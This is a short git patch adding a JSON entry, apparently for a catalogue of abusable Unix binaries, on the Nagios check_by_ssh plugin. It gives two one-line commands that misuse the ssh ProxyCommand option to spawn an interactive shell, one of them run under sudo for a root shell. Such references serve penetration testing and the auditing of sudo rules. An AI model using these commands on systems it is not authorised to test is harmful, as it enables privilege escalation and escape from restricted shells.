From 1e41ec20da68e48dc8444b5e0fa1edf7b6d59aa6 Mon Sep 17 00:00:00 2001 From: "Mr. Robot" Date: Wed, 23 Dec 2020 14:56:44 +0100 Subject: [PATCH] add data source for check_by_ssh --- data/check_by_ssh.json | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) create mode 100644 data/check_by_ssh.json diff --git a/data/check_by_ssh.json b/data/check_by_ssh.json new file mode 100644 index 0000000..37a7a76 --- /dev/null +++ b/data/check_by_ssh.json @@ -0,0 +1,17 @@ +{ + "description": "This is the 'check_by_ssh' Nagios plugin, available e.g. in '/usr/lib/nagios/plugins/'.\n", + "functions": { + "shell": [ + { + "description": "The shell will only last 10 seconds.", + "code": "check_by_ssh -o \"ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)\" -H localhost -C xx" + } + ], + "sudo": [ + { + "description": "The shell will only last 10 seconds.", + "code": "sudo check_by_ssh -o \"ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)\" -H localhost -C xx" + } + ] + } +}